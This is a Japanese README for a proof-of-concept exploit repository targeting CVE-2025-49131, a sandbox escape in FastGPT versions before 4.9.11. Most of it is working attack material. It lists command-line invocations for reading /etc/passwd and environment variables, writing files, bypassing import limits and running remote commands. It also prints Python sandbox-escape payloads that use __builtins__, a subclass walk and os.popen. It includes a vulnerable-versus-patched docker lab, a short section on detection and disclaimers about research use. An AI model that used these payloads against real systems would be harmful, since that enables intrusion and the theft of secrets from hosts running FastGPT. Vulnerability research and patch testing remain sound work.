
CVE-2025-49131の概念実証エクスプロイト。FastGPTのサンドボックスエスケープであり、サンドボックスAPIを介した任意のファイル読み取り/書き込み、インポートバイパス、およびリモートコード実行を可能にします。
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT サンドボックスコンテナエスケープ ║
║ 影響を受けるバージョン: < v4.9.11 ║
╚═══════════════════════════════════════╝
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-49131 |
| CVSS スコア | 6.3 (Medium) |
| CVSS ベクター | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| 脆弱性タイプ | サンドボックスエスケープ |
| 影響を受けるソフトウェア | FastGPT (fastgpt-sandbox コンテナ) |
| 影響を受けるバージョン | < 4.9.11 |
| 修正バージョン | 4.9.11+ |
| 開示日 | 2025年6月9日 |
このツールは、許可されたセキュリティ研究および教育目的のみに使用されます。
CVE-2025-49131 は、FastGPT の fastgpt-sandbox コンテナにおけるサンドボックスエスケープの脆弱性です。この脆弱性は以下の理由で存在します:
悪用に成功すると、攻撃者は以下を実行できます:
# このリポジトリをクローン
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# 依存関係をインストール
pip install -r requirements.txt
# 脆弱性検出を実行
python poc.py --target http://localhost:3001 --detect
# ファイルを読み取り
python poc.py --target http://localhost:3001 --read /etc/passwd
# RCE を試行
python poc.py --target http://localhost:3001 --rce "id"
# 脆弱なコンテナと修正済みコンテナを起動
docker-compose up -d
# 脆弱なサンドボックス: ポート 3001
# 修正済みサンドボックス: ポート 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # メインのエクスプロイトスクリプト
├── payloads.py # ペイロード生成ライブラリ
├── docker-compose.yml # テスト環境
├── requirements.txt # Python 依存関係
├── README.md # このファイル
└── tests/
└── test_exploit.py # 自動テスト
FastGPT サンドボックスは、ユーザーが送信したコードを隔離環境で実行するように設計されています。しかし、分離メカニズムは不十分です:
Python __builtins__ へのアクセス - サンドボックスは open()、__import__() などの組み込み関数へのアクセスを適切に制限していません。
システムコールフィルタリング - 許可されるシステムコールリストには、ファイルシステムアクセスを可能にする危険な呼び出しが含まれています。
インポート制限の回避 - モジュールインポート制限を回避するための複数の手法が存在します。
┌─────────────────────────────────────────────┐
│ 1. 悪意のあるコードをサンドボックス API に送信 │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. 以下を使用してサンドボックス制限を回避: │
│ - __builtins__ の操作 │
│ - サブクラスウォーキング │
│ - インポート回避手法 │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. 以下へのアクセスを取得: │
│ - ファイルシステム (読み取り/書き込み) │
│ - os/subprocess モジュール │
│ - 環境変数 │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. 影響: │
│ - データ流出 │
│ - コード注入 │
│ - リモートコマンド実行 │
└─────────────────────────────────────────────┘
ファイル読み取り:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
インポート回避:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)
RCE:
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
サンドボックスログで不審なアクティビティを監視:
/etc/passwd、/etc/shadow へのアクセス試行__builtins__、__import__ への呼び出し| 日付 | イベント |
|---|---|
| 2025-??-?? | 脆弱性発見 |
| 2025-??-?? | ベンダーに通知 |
| 2025-06-?? | パッチリリース (v4.9.11) |
| 2025-06-09 | 一般公開 |
このプロジェクトは教育および許可されたセキュリティ研究目的にのみ使用されます。責任を持って使用してください。
セキュリティ研究目的で作成されました。テストを実施する前に、必ず適切な許可を取得してください。